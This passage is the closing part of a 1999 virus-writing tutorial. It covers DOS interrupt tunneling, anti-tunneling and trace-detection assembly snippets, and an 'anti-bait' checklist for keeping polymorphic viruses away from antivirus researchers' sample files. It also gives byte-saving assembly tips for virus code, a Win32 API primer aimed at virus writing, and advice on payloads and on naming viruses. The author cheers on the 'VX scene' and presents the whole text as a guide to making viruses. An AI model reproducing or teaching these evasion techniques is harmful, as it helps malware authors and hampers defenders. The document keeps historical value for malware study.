The PSP tracing is better than the normal tracing, because in the second one we don't know if we're executing the code of an AV, and using the PSP this can't occur.

INT 30h backdoor

This is very easy, if you understood da above technique. The INT 30h has code to jump to the dispatcher, so we can put something like this:

        xor     bx,bx 
mov ds,bx
mov bl,0C0h ; INT 30h offset in IVT
jmp trace_next

Be warned that the INT 30h in Windoze environment is used for another purposes, but that is another history :)

Code Emulators

The first article i can remember is the one that Methyl [IR/G] made some time ago, published in IR#8 ( IRG#1? ). This little lesson ain't as Methyl one i haven't so much space ( this tute is becoming huge ), so this lesson is about 100% theorical. But don't give up, it's very easy to understand. For me the emulation seems to be an improvement to the old byte-to-byte scanning but much more enhaced and safe. I'm not saying that it's EQUAL. The byte-to-byte scanning only compared da opcodes, and the emulation makes some playing around to make the same as da instruction makes when executing: the emulation follows da FLOW of the program, makes the fake jumps, the calls... And in this way, it searches for the possible INT 21h jump, that is what we need. Ok, this is the concept. If you wanna know more, i suggest you to download the IR#8, and take a look to Methyl's tute. That is a good magazine, so enjoy its read!

Advanced tunneling

Ahhh... the same shit of all this document: i don't want to make your head explode with too much knowledge. There're techniques much more safe, cool, new... but they're too much hard, and it implementation in this document would suck a hugh amount of your hard disk :)

Anti-tunneling

Tunneling tecniques are also used by da ShitWare ( AntiViruses ) for install its products, and all our efforts in order to catch the original INT 21h vectors will suck, coz they're using the same weapons that we use. And we don't like this. Also, other viruses can tunnel us, and this ain't cool. The system is OURS, and no one else! :)

As ShitWare uses routines for detect if someone is tracing, we can use their own routines in order to fight against them: they're unprotected to this. As we used a routine to activate the trap flag tor tracing... Could we use another for deactivate it? Sure. It's very simple. Instead using a OR for activate it, for deactivate we must use an AND.

        pushf 
pop ax
and ah,11111110h
push ax
popf

Ain't it charming? :) With this shit we've fucked their attempt to steal OUR INT 21h. But... what if we want to know if there's someone trying to steal it? This routine is stolen from this same document, from ARMOURING chapter.

        push    ax 
pop ax
dec sp
dec sp
pop bx
cmp ax,bx
jz not_traced
jmp $ ; If traced, freeze the processor
not_traced:
[...]

A nice attitude: be lamer with his own stuff :)

This chapter is an extension of the TUNNELING chapter. So... with this two simple routines, and a little bit of good luck, you can go so far away :)

Anti-bait

The baits/sacrifical goats are programs that don't do anything. And you will wonder why... They use this programs for catch the viruses, that will infect them. And, they will have a copy of our virus :(

But our great problem is when our virus is polymorphic. They will infect about 10 thousands of this files in order to search for a realiable scan string and/or algorithm that catch about all da possible mutations. Of course, if we add code to simply refuse the infection for this programs, we're fucking them ( it's boring to fuck always the same people, but they work fucking ours... ) ;)

There are some points you can follow for don't allow ( or make hard ) our virus to infect a bait:

  • Don't infect files at least < 5000, or better, refuse < 10000. So we're making AV to create 10000 baits, of 10000 bytes each one. So they will need at least 100 megs for our virus :)
  • Don't infect files with numbers in its name. Baits are usually called "00000000.COM", "00000001.COM" and such like.
  • Don't infect files with consecutive names. This can seem the same than the above. Not. If they see that our virus don't infect the files with numbers, they will create files like "AAAAAAAA.COM", "AAAAAAAB.COM" and shit like this.
  • Don't infect consecutive files with the same size. This is another strain of the above two methods.
  • Don't infect the files with today's date. About all the executable files are in one computer for some days and/or months. It's very rare to find files with today's date ( well, not at all, but about all the baits have this date ).
  • Catch a timer interrupt, or whatever you want in order to avoid the infection of files in at least 10 minutes. Just imagine one situation... an AVer is trying to get a scan string for our virus. We've implemented all the above anti-bait tecniques in our virus, and the AVer will reboot a lot of times for see what triggers the refuse of the virus. And, if each boot we make him to wait 10 minutes... He will waste a lot of time in our virus :)
  • Don't infect files at root directory. A lot of bait generators make their baits at root directory, so they're fucked again :)
  • Don't infect files with zero-jumps and calls: This are only used by baits and PERs, so... Search for all E9 00 00, E8 00, [70..7F] 00, and such like.
  • Of course, check for a lot of NOPs, XCHGs with the same register ( XCHG BX,BX ), moves with the same register...
  • Check for a huge amount of 0 bytes, or consecutive INCs/DECs with the same register... When you've seen a program that makes a INC DX followed by a DEC DX ???
  • Detect if the first thing the file executes is a MOV AX,4C00h/INT 21h or a INT 20h.

If a virus has implemented at least 5 of this things in its code, be sure that it'll be higly anti-bait. :)

Optimization

There are two kinds of optimization: structural and local. In this little chapter i'll talk about the two kinds. But first you must understand one thing: never optimize your code until it's full-working. If you begin to optimize a code that don't works, ther'll be a lot of more things that will make it don't work, you'll try to fix it, and you'll make more and more mistakes... an endless loop of shit :)

Structural optimization

This is the most effective, and the more hard to do and understand. This kinda optimization can be easily unsderstand by using a paper, and writing there the algorithm of your virus. We haven't here paper, so let's imaginate a situation... imagine you, on yer virus, open the file first for read only, close, open again for read/write, and close again. This is a waste of bytes. For this kind of optimization, you must think a lot about what things can you change and save bytes, and what things don't. The solutions must be custom-made to your problems.

Local optimization

This is the easiest way, however it can save a lot of bytes tho. It consist in change some code lines individually to another ones that do the save job, using less bytes.

˛ Clearing Registers:

        mov     bx,0000h                ; 3 bytes 
xor bx,bx ; 2 bytes
sub bx,bx ; 2 bytes

So, never use the first one, and choose one of the other ways. There is a register that can be cleared by other way: DX. Let's see:

        mov     dx,0000h                ; 3 bytes 
xor dx,dx ; 2 bytes
sub dx,dx ; 2 bytes
cwd ; Convert word to dword ( 1 byte )

The CWD will ONLY work if AX content is less that 8000h. There is a way to clear AH with a one-byter: if AL < 80h you can use the CBW instruction.

˛ Comparisons:

There's a very well know way by all us, that is to use the instruction developed specially for this: the CMP. For compare two register, you can use two ways with the same result, and no savings:

        cmp     ax,bx                   ; 2 bytes 
xor ax,bx ; 2 bytes

But we can only use XOR in all the cases if we want only know if the values are EQUAL. However, we CAN save bytes if we use xor instead cmp when comparing a register with an immediate value:

        cmp     ax,0666h                ; 3 bytes 
xor ax,0666h ; 2 bytes

But, due the nature of XOR instruction, we can't use it for know if a reggie is clear. But here comes OR to save us...

        cmp     ax,0000h                ; 3 bytes 
or ax,ax ; 2 bytes

˛ Optimized reggie - AX:

You can use it for comparisons:

        cmp     bx,0666h                ; 4 bytes 
cmp ax,0666h ; 3 bytes

And you can move AX to another register in a very optimized way:

        mov     bx,ax                   ; 2 bytes 
xchg ax,bx ; 1 byte

You can do this if da values of AX and BX before the change are unimportant. This is really good for put after a file open, coz the file handle is better in BX.

˛ String operands:

Each string operand ( MOVS, STOS, SCAS... ) is the optimized way for perform some actions. Let's see for what purposes can you use it:

- MOVS: A movement from the position DS:[SI] to ES:[DI]

        les     di,ds:[si]              ; 3 bytes 

movsb ; If we want a byte ( 1 byte )
movsw ; If we want a word ( 1 byte )
movsd ; If we want a dword ( 2 bytes ) 386+

- LODS: Put in accumulator the value of the position DS:[SI]

        mov     ax,ds:[si]              ; 2 bytes 

lodsb ; If we want a byte ( 1 byte )
lodsw ; If we want a word ( 1 byte )
lodsd ; If we want a dword ( 2 bytes ) 386+

- STOS: Put in accumulator the value of the position ES:[DI]

        les     di,al                   ; Can't do this! 
les di,ax ; Can't do this!

stosb ; If we want a byte ( 1 byte )
stosw ; If we want a word ( 1 byte )
stosd ; If we want a dword ( 2 bytes ) 386+

- CMPS: Compares the value in DS:[SI] with the value in ES:[DI]

        cmp     ds:[si],es:[di]         ; Can't have 2 segment overrides! 

cmpsb ; If we want a byte ( 1 byte )
cmpsw ; If we want a word ( 1 byte )
cmpsd ; If we want a dword ( 2 bytes ) 386+

- SCAS: Compares the value of accumulator with ES:[DI]

        cmp     ax,es:[di]              ; 3 bytes 

scasb ; If we want a byte ( 1 byte )
scasw ; If we want a word ( 1 byte )
scasd ; If we want a dword ( 2 bytes ) 386+

˛ 16 bit registers:

Usually, it's more optimized the usage of 16 bit register than the 8 bit ones. Let's see an example with MOV instruction:

        mov     ah,06h                  ; 2 bytes 
mov al,66h ; 2 bytes ( 4 bytes total )

mov ax,0666h ; 3 bytes

It's more optimized to increase/decrease any 16 bit register:

        inc     al                      ; 2 bytes 
inc ax ; 1 byte

dec al ; 2 bytes
dec ax ; 1 byte

˛ Bases and segments:

The movement from another segment to another can't be done directly, so we must to play some with it:

        mov     es,ds                   ; Can't do this! 

mov ax,ds ; 2 bytes
mov es,ax ; 2 bytes ( 4 bytes total )

push ds ; 1 byte
pop es ; 1 byte ( 2 bytes total )

Use DI/SI is more enhaced than the use of BP.

        mov     ax,ds:[bp]              ; 4 bytes 
mov ax,ds:[si] ; 3 bytes

˛ Procedures:

If you use a routine a lot of times, you must think about the possibility of make a procedure. This can optimize your code. However, the bad use of the procedures can invert our needs: the code will grow. So, if you wanna know if the conversion of a routine to a procedure save bytes, you can use this little formula:

X = [rout. size - (CALL size + RET size)] * number of calls - rout. size

The CALL size + RET size means 4 bytes. The X will be the bytes we save. Let's see the typical function that saves some bytes, the file pointer movement:

 fpend: mov     ax,4202h                ; 3 bytes 
fpmov: xor cx,cx ; 2 bytes
cwd ; 1 byte
int 21h ; 2 bytes
ret ; 1 byte

We have 8 bytes plus CALL size... 11 bytes. Let's see if this will optimize our code:

 X = [ 7 - ( 3 + 1 ) ] * 3 - 7 
X = 2 bytes saved

This is a invented calculation, of course. You can call this routine more than 3 times ( or less ), make its size different, and many more things.

˛ Last tips for local optimization:

  • Use SFT. In this structure you've a lot of useful information, and you can manipulate it without any problem.
  • Make your compiler pass trough the code at least 3 times for eliminate all unnecessary NOPs and other shit.
  • Use stack.
  • It's more optimized to use the LEA instruction that use the MOV offset.

Appendix 1 : The new school

Well, here i will make a little introduction to the whole new world that is Windows 32-bit programming. An advice: change your mind :)

If you arrived to this point i assume you are intelligent, and know to code in 16 bit ASM very good. So, it's time for learn the basics of Windows environments, and code a little bit. But this part of the tute, as is an appendix won't be very complete, so you will have to search da information in another place :)

Brief description of what's going on

Here we must erase almost all our knowledge of DOS if we want to be success, because all that is unnecessary now. All the explained before has no more utility in Win32 ( well, there're some exceptions of course )... interrupts, structures, COM files, methods of residency and stealth, append methods, anti-debugging, anti-heuristic... the only that remains of all that are the concepts, the code we must do is very different. Well, some people use to misname Win95 viruses as Win32. No. Win32 means that da virus MUST be compatible with all Win95, WinNT, Win3X+Win32s and Win98.

Well, we have new registers, new segments, new structures... and a lot of new things for research. Ain't as difficult as it appears to be... just think that it's the moment that you have waiting for: there're a lot of unexplored techniques, so you can became easily in a pioneer :)

Forget all that 16bit segments, 16bit offsets, 16bit registers... Now we have something more funny: all these things ( and much more ), but in a 32bit version.

Changes between 16 and 32 bit programming

We will work usually with double words instead words, and this thing open us a new world of possibilities. We have two more segments to add to the already known CS, DS, ES and SS: FS and GS. And we have new 32 bit registers as EAX, EBX, ECX, EDX, ESI, EDI, EBP and ESP. Let's see how to play with the reggies: Imagine we have to access to the less significant word of EAX. What can we do? This part can be accessed by using AX register, that handles its LSW. Imagine that EAX = 00000000, and we want to put a 1234h in the LSW of this. We must simply do a "mov ax,1234h" and all the work is done. But what if we wanna access to da MSW ( Most Significant Word ) of EAX. For this purposes we can't use a reg: we must play using ROL ( or SHL if LSW is shit ). But... for what the fuck you need that? Use EAX goddamit! :P

Rings : brief introduction

There are 4 different rings: Ring-0, Ring-1, Ring-2 and Ring-3. The Win9X uses two of them: Ring-0 and Ring-3.

  • Ring-0, the sweet dream of the virus writer under Win9X enviroments. It's the highest privilege under Win9X, we can access ports, etc., because we are avoiding all kind of things that could stop us. It's the highest level, and btw, is the same level at the kernel works. There are no restrictions.
  • Ring-3, the usual shit of Win32 enviroments. We can only use the APIs. This is the privilege where all the "normal" applications run. We have a lot of limitations here. We must be careful with that goddamn General Protection Faults when coding at this level.

The base for Ring-3 coding : The API

API can be considered as the thing that substitutes in Windows enviroment da interrupts. In the "normal" applications developing we have them with any kind of problem. But the thing changes in virus developing, as we need to search for them. But this is another story that will be told another time in another place :P Well, the parameters when we use APIs must be in the stack, so we must push'em. Let's see an example:

                push    00000000h 
call ExitProcess

The API ExitProcess is the equivalent in Windows to the famous INT 20h in DOS. The value we push is the exit code. Let's see:

 VOID ExitProcess( 
UINT uExitCode // exit code for all threads
);

Another example of API could be MessageBox(A/W). Yeah, shows that goddamn msgbox.

 int MessageBox( 
HWND hWnd, // handle of owner window
LPCTSTR lpText, // address of text in message box
LPCTSTR lpCaption, // address of title of message box
UINT uType // style of message box
);

Well, let's see more examples.

Interesting APIs

All the information here is taken from the awesome Win32 programmer's reference, maybe the most kickass aid you can get when working under Windoze enviroments. I'll only place here four of them, the most used nowadays, but i really recommend you to download it: there're a lot of interesting APIs, and if i put here all i think important, this tute will be 10 megs :)

˛ GetProcAddress

The GetProcAddress function returns the address of the specified exported dynamic-link library (DLL) function.

 FARPROC GetProcAddress( 
HMODULE hModule, // handle to DLL module
LPCSTR lpProcName // name of function
);

- Parameters

˙ hModule

Identifies the DLL module that contains the function. The LoadLibrary or GetModuleHandle function returns this handle.

˙ lpProcName

Points to a null-terminated string containing da function name, or specifies the function's ordinal value. If this parameter is an ordinal value, it must be in the low-order word; the high-order word must be zero.

˙ Return Values

  • A. If the function succeeds, the return value is the address of the DLL's exported function.
  • B. If the function fails, the return value is NULL. To get extended error information, call GetLastError.

Well, probably the most interesting API of all :P

˛ GetModuleHandle(A/W)

The GetModuleHandle function returns a module handle for da specified module if the file has been mapped into the address space of the calling process.

 HMODULE GetModuleHandle( 
LPCTSTR lpModuleName // address of module name to return handle for
);

- Parameters

˙ lpModuleName

Points to a null-terminated string that names a Win32 module (either a .DLL or .EXE file). If the filename extension is omitted, the default library extension .DLL is appended. The filename string can include a trailing point character (.) to indicate that the module name has no extension. The string does not have to specify a path. The name is compared (case independently) to the names of modules currently mapped into the address space of the calling process.

If this parameter is NULL, GetModuleHandle returns a handle of the file used to create the calling process.

˙ Return Values

A. If the function succeeds, the return value is a handle to the specified module.

B. If the function fails, the return value is NULL. To get extended error information, call GetLastError.

˛ FindFirst(A/W)

Da FindFirstFile function searches a directory for a file whose name matches the specified filename. FindFirstFile examines subdirectory names as well as filenames.

 HANDLE FindFirstFile( 
LPCTSTR lpFileName, // pointer to name of file to search for
LPWIN32_FIND_DATA lpFindFileData // pointer to returned information
);

- Parameters

˙ lpFileName

  • A. Windows 95: Points to a null-terminated string that specifies a valid directory or path and filename, which can contain wildcard characters ( * and ? ). This string must not exceed MAX_PATH characters.
  • B. Windows NT: Points to a null-terminated string that specifies a valid directory or path and filename, which can contain wildcard characters (* and ?).

There is a default string size limit for paths of MAX_PATH characters. This limit is related to how the FindFirstFile function parses paths. An application can transcend this limit and send in paths longer than MAX_PATH characters by calling the wide (W) version of FindFirstFile and prepending "\\?\" to the path. The "\\?\" tells the function to turn off path parsing; it lets paths longer than MAX_PATH be used with FindFirstFileW. This also works with UNC names. The "\\?\" is ignored as part of the path. For example "\\?\C:\myworld\private" is seen as "C:\myworld\private", and " \\?\UNC\bill_g_1\hotstuff\coolapps"is seen as "\\bill_g_1\hotstuff\coolapps"

˙ lpFindFileData

Points to the WIN32_FIND_DATA structure that receives information about the found file or subdirectory. The structure can be used in subsequent calls to the FindNextFile or FindClose function to refer to the file or subdirectory.

˙ Return Values

  • A. If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose.
  • B. If the function fails, the return value is INVALID_HANDLE_VALUE. To get extended error information, call GetLastError.

˛ FindNext(A/W)

The FindNextFile function continues a file search from a previous call to da FindFirstFile function.

 BOOL FindNextFile( 
HANDLE hFindFile, // handle to search
LPWIN32_FIND_DATA lpFindFileData // pointer to structure for data on
// found file
);

- Parameters

˙ hFindFile

Identifies a search handle returned by a previous call to the FindFirstFile function.

˙ lpFindFileData

Points to the WIN32_FIND_DATA structure that receives information about the found file or subdirectory. The structure can be used in subsequent calls to FindNextFile to refer to the found file or directory.

˙ Return Values

  • A. If the function succeeds, the return value is nonzero.
  • B. If the function fails, the return value is zero. To get extended error information, call GetLastError
  • C. If no matching files can be found, the GetLastError function returns ERROR_NO_MORE_FILES.

 [** WIN32_FIND_DATA **] 

typedef struct _WIN32_FIND_DATA { // wfd
DWORD dwFileAttributes;
FILETIME ftCreationTime;
FILETIME ftLastAccessTime;
FILETIME ftLastWriteTime;
DWORD nFileSizeHigh;
DWORD nFileSizeLow;
DWORD dwReserved0;
DWORD dwReserved1;
TCHAR cFileName[ MAX_PATH ];
TCHAR cAlternateFileName[ 14 ];
} WIN32_FIND_DATA;

- Members

˙ dwFileAttributes

Specifies the file attributes of the file found. This member can be one or more of the following values [ Not enough space for include them here: you have them at 29A INC files ( 29A#2 ) and the document said before.

˙ ftCreationTime

Specifies a FILETIME structure containing the time the file was created. FindFirstFile and FindNextFile report file times in Coordinated Universal Time (UTC) format. These functions set the FILETIME members to zero if the file system containing the file does not support this time member. You can use the FileTimeToLocalFileTime function to convert from UTC to local time, and then use the FileTimeToSystemTime function to convert the local time to a SYSTEMTIME structure containing individual members for the month, day, year, weekday, hour, minute, second, and millisecond.

˙ ftLastAccessTime

Specifies a FILETIME structure containing the time that the file was last accessed. The time is in UTC format; the FILETIME members are zero if the file system does not support this time member.

˙ ftLastWriteTime

Specifies a FILETIME structure containing the time that the file was last written to. The time is in UTC format; the FILETIME members are zero if the file system does not support this time member.

˙ nFileSizeHigh

Specifies the high-order DWORD value of the file size, in bytes. This value is zero unless the file size is greater than MAXDWORD. The size of the file is equal to (nFileSizeHigh * MAXDWORD) + nFileSizeLow.

˙ nFileSizeLow

Specifies the low-order DWORD value of the file size, in bytes.

˙ dwReserved0

Reserved for future use.

˙ dwReserved1

Reserved for future use.

˙ cFileName

A null-terminated string that is the name of the file.

˙ cAlternateFileName

A null-terminated string that is an alternative name for the file. This name is in the classic 8.3 (filename.ext) filename format.

Another interesting apis could be GetFileAttributes(A/W), SetFileAttributes (A/W), CreateProcess, CreateFile(A/W), VirtualAlloc, CreateFileMapping(A/W), SetEnfOfFile, etc.

---

Well, there're a lot of times equivalences between the functions we used in DOS and an API. Search for them ;)

Let's continue with the typical example we always try to do when we have a new language: the "Hello world!" :)

Hello World in Win32

It's very easy. We must use the "MessageBoxA" API, so we define it with the already known "extrn" command, and then push the parameters and call the said API. Note that the strings must be ASCIIZ ( ASCII,0 ). Remember that the parameters must be pushed.

 .386                                           ; Processor ( must be 
.model flat ; Uses 32 bit registers

extrn ExitProcess:proc ; The APIs it uses
extrn MessageBoxA:proc

.data
szMessage db "Hello World!",0
szTitle db "Windows coding - lame example",0

.code ; Here we go!

HelloWorld:
push large 0
push offset szTitle
push offset szMessage
push large 0
call MessageBoxA

push large 0
call ExitProcess

end HelloWorld

As you can see, it's very simple to code. Maybe not as easy as the same in 16 bit enviroments, but really simple if you think about all the advantages that the 32 bits brings to us. Well, as this is a Virus Writing Guide for people that is starting in virus coding, i think it's time to stop. If you want to know more about this matter, you will have to wait for the tutorial i am developing now: Virus Writing Guide 1.00 for Win32. Sounds cool huh? :)

Appendix 2 : Payloads

You must work in your payload, because it'll be the only thing that the user will see of your virus. A payload that only trash da HD, or wipe files isn't original, and it denotes that the user can't do better things. If you wanna destroy, your work isn't in the virus scene: the trojans are very easy to code so dedicate your efforts to the trojan developement <g>

I'm not saying that i refuse all kinds of destruction. But it must be reserved for special moments, like if someone is trying do debug the virus or something. I think that isn't good to make other people the things we don't want happen to us.

You have good examples of originality in viruses like Elvira, Cascade, Claudia Schiffer ( hehehe ;), Ambulance...

Appendix 3 : Naming your viruses

Well, we know how to make viruses :) But, what about naming them?. I read some time ago a very interesting article, done by Rajaat, when he was in IR/G, and published in IR#8. That article was very cool, because it showed the way for make the AV to call your virus as you want it to be called. Well as i don't want to put here the whole article, and as i gave credit to its original author, i think it's okay to make a brief description of the basic ideas that Rajaat gave us.

  • Show in the payload the name of the virus only, not the author's name.
  • Don't use very complex names
  • Don't use ppl's names
  • Don't show in the messages inside the virus special interest in call the virus in a determinated way (Ex: Bizatch per Boza...)

Last words

You can think that write this document was a pain for me. No, i've really enjoyed the time i've used to write this little tutorial. I hope you enjoyed its read :)

My objective was to make a complete tutorial, beginning at the runtime com infection, and talking about some cool techniques like polymorphism and tunneling. I made this with the objective of teach some people, and, at the same time teach myself about a lot of things. Now, it's your time, not mine Remember where did you learn :) And now, after reading, understanding, and experimenting, you're ready to make very good viruses, and, if you want, write articles for a virus related magazine, or to be in a VX group :)

After saying goodbye, i must send greets to some people, da ones that helped me and the ones i admire. As I said in my presentation, this tutorial is highly dedicated to zAxOn ( hehehe... i wrote your nick in da rite way ;) da one that received all my telephone calls for questions like " How i can copy a file? ", or " What is this program... the PKZIP? " in my earlier steps in the computing world. He listened with a good attitude all my projects, dreams and else. It's good to have friends like him :)

This document is also dedicated to this people that make big efforts for teach the people that is interested in VX, with dreams of fame <g> and else. It's a way for assure the future of the virus scene... VX FOREVER!

Of course, i must make a special mention to Dark Angel, Dark Avenger, GriYo, b0z0, Owl, StarZer0, Neurobasher, Vecna, Qark, Quantum, Int13h, Murkry, Jacky Qwerty, Darkman, Super, and all da people who rocked and still rocking the world making this little misunderstood forms of life, automatas, always labeled as bad things. You know what ignorance does.

PS: This tutorial is my humble tribute to that OS, that lived between all us since some centuries ago, called MS-DOS. RIP.

Valencia, 29 of January, 1999.

Billy Belcebu,
mass killer and ass kicker.

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